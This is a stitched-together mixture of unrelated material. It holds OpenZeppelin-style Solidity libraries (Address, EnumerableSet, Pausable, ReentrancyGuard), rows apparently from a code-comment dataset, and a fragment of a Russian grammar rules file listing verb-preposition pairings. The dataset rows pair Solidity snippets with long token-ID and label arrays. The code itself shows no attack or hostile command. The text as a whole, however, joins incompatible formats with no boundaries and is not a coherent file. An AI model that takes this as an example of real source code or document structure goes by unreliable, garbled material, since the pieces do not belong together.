library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
} | % Extra of the Pot you win
| uint256 public _strengthBonus; | 1,228,462 | [
1,
9,
13592,
434,
326,
23435,
1846,
5657,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
1071,
389,
334,
13038,
38,
22889,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xF66C6fDBDD7d57dD14D23d0C8A4E58Cc4869bBfa/sources/SaferERC20.sol | * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value, non-reverting calls are assumed to be successful./ | function safeTransfer(IERC20 token, address to, uint256 value) internal {
if(address(token) == address(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF)) {
payable(to).transfer(value);
}
else {
_callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value)));
}
}
| 3,949,115 | [
1,
5912,
1375,
1132,
68,
3844,
434,
1375,
2316,
68,
628,
326,
4440,
6835,
358,
1375,
869,
8338,
971,
1375,
2316,
68,
1135,
1158,
460,
16,
1661,
17,
266,
1097,
310,
4097,
854,
12034,
358,
506,
6873,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4183,
5912,
12,
45,
654,
39,
3462,
1147,
16,
1758,
358,
16,
2254,
5034,
460,
13,
2713,
288,
203,
3639,
309,
12,
2867,
12,
2316,
13,
422,
1758,
12,
20,
6356,
74,
42,
74,
42,
1403,
2246,
25449,
2246,
74,
2246,
74,
8998,
42,
1403,
2246,
42,
9460,
42,
74,
2246,
42,
74,
42,
3719,
288,
203,
5411,
8843,
429,
12,
869,
2934,
13866,
12,
1132,
1769,
203,
3639,
289,
203,
3639,
469,
288,
203,
5411,
389,
1991,
6542,
990,
12,
2316,
16,
24126,
18,
3015,
1477,
12,
2316,
18,
13866,
16,
261,
869,
16,
460,
3719,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/137/0x7e6Ec23e6858743b575734F0F013BeABEfff2615/sources/contracts/CaesiumBondStakeDepository.sol | pay user everything due
| IERC20(sCAES).transfer(_recipient, _amount); | 4,719,135 | [
1,
10239,
729,
7756,
6541,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
467,
654,
39,
3462,
12,
87,
3587,
3991,
2934,
13866,
24899,
20367,
16,
389,
8949,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
